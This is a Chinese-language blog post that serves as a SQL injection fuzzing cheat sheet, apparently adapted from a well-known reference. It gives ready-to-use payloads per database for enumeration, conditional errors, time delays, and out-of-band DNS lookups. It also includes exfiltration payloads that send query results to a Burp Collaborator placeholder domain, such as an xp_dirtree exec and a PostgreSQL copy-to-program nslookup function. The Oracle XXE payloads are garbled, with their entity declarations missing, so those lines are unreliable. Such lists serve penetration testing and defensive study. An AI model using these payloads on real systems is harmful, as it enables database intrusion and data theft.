mysql fuzzing_Tips-sql注入漏洞模糊测试

# Tips-sql注入模糊测试

该清单中包含一些安全从业人员常用的,针对指定数据库进行sql注入漏洞测试的payload,在安全测试的第一个阶段,我们可以借助外部的一些安全工具,比如nmap进行识别服务器端数据库的指纹信息,更有利于后续的模糊测试。

## 字符串串联

将多个字符串拼接在一起,返回一个新的字符串。

| Oracle | 'foo'||'bar' |

| ---------- | ---------------------------------------------------------- |

| Microsoft | 'foo'+'bar' |

| PostgreSQL | 'foo'||'bar' |

| MySQL | 'foo' 'bar' [注意两个字符串之间的空格] CONCAT('foo','bar') |

## 子串

从具有指定长度的偏移量中提取字符串的一部分。请注意,偏移索引是基于1的。以下每个表达式将返回字符串ba。

| Oracle | SUBSTR('foobar', 4, 2) |

| ---------- | ------------------------- |

| Microsoft | SUBSTRING('foobar', 4, 2) |

| PostgreSQL | SUBSTRING('foobar', 4, 2) |

| MySQL | SUBSTRING('foobar', 4, 2) |

## 注释

使用注释来截断查询并删除原始输入之后的查询部分。

| Oracle | --comment |

| ---------- | ------------------------------------------------------ |

| Microsoft | --comment /*comment*/ |

| PostgreSQL | --comment /*comment*/ |

| MySQL | #comment -- comment [注意双破折号后的空格] /*comment*/ |

## 数据库版本

查询数据库确定其类型和版本。 在制定更为复杂的安全测试时,此信息非常重要。

| Oracle | SELECT banner FROM v$version SELECT version FROM v$instance |

| ---------- | ----------------------------------------------------------- |

| Microsoft | SELECT @@version |

| PostgreSQL | SELECT version() |

| MySQL | SELECT @@version |

## 数据库内容

列出数据库中存在的表,以及这些表中所包含的列。

| Oracle | SELECT * FROM all_tables SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' |

| ---------- | ------------------------------------------------------------ |

| Microsoft | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |

| PostgreSQL | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |

| MySQL | SELECT * FROM information_schema.tables SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' |

## 条件错误

测试单个布尔条件,如果条件为true,则触发数据库错误。

| Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN to_char(1/0) ELSE NULL END FROM dual |

| ---------- | ------------------------------------------------------------ |

| Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |

| PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN cast(1/0 as text) ELSE NULL END |

| MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') |

## 批量(或堆叠)查询

使用批量查询来连续执行多个数据库语句。 注意,在执行后续查询时,结果不会直接返回给应用程序。 因此,该技术主要用于与sql盲注漏洞有关的问题,在该漏洞中,可以使用二次查询来触发DNS查询,条件错误或时间延迟。

| Oracle | Does not support batched queries. |

| ---------- | --------------------------------- |

| Microsoft | QUERY-1-HERE; QUERY-2-HERE |

| PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |

| MySQL | Does not support batched queries. |

## 时间延迟

处理sql查询时,可能导致数据库中的时间延迟。 以下情况将导致10秒的无条件时间延迟。

| Oracle | dbms_pipe.receive_message(('a'),10) |

| ---------- | ----------------------------------- |

| Microsoft | WAITFOR DELAY '0:0:10' |

| PostgreSQL | SELECT pg_sleep(10) |

| MySQL | SELECT sleep(10) |

## 有条件的时间延迟

可以测试单个布尔条件,并在条件为真时触发时间延迟。

| Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'\|\|dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual |

| ---------- | ------------------------------------------------------------ |

| Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |

| PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |

| MySQL | SELECT IF(YOUR-CONDITION-HERE,sleep(10),'a') |

## DNS查询

可以利用查询语句使数据库对外部域执行DNS查询。 为此,将需要使用Burp Collaborator客户端生成,在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器,以确认是否真实发生了DNS查找。

| Oracle | 以下技术利用了XML外部实体注入: SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?> %remote;]>'),'/l') FROM dual 以下技术适用于完全修补的Oracle安装,但需要管理员权限: SELECT UTL_INADDR.get_host_address('YOUR-SUBDOMAIN-HERE.burpcollaborator.net')/ |

| ---------- | ------------------------------------------------------------ |

| PostgreSQL | copy (SELECT '') to program 'nslookup YOUR-SUBDOMAIN-HERE.burpcollaborator.net' |

| MySQL | 以下技术仅适用于Windows: LOAD_FILE('\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\\a') SELECT ... INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' |

## DNS查找与数据渗透

可以使数据库对包含注入查询结果的外部域执行DNS查找。 为此,将需要使用Burp Collaborator客户端生成将在攻击中使用的唯一Burp Collaborator子域,然后轮询Collaborator服务器以检索任何DNS交互的详细信息,包括被泄露的数据。

| Oracle | SELECT extractvalue(xmltype('<?xml version="1.0" encoding="UTF-8"?> %remote;]>'),'/l') FROM dual |

| ---------- | ------------------------------------------------------------ |

| Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net/a"') |

| PostgreSQL | create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net'''; execute c; END; $$ language plpgsql security definer; SELECT f(); |

| MySQL | The following technique works on Windows only: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\YOUR-SUBDOMAIN-HERE.burpcollaborator.net\a' |

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值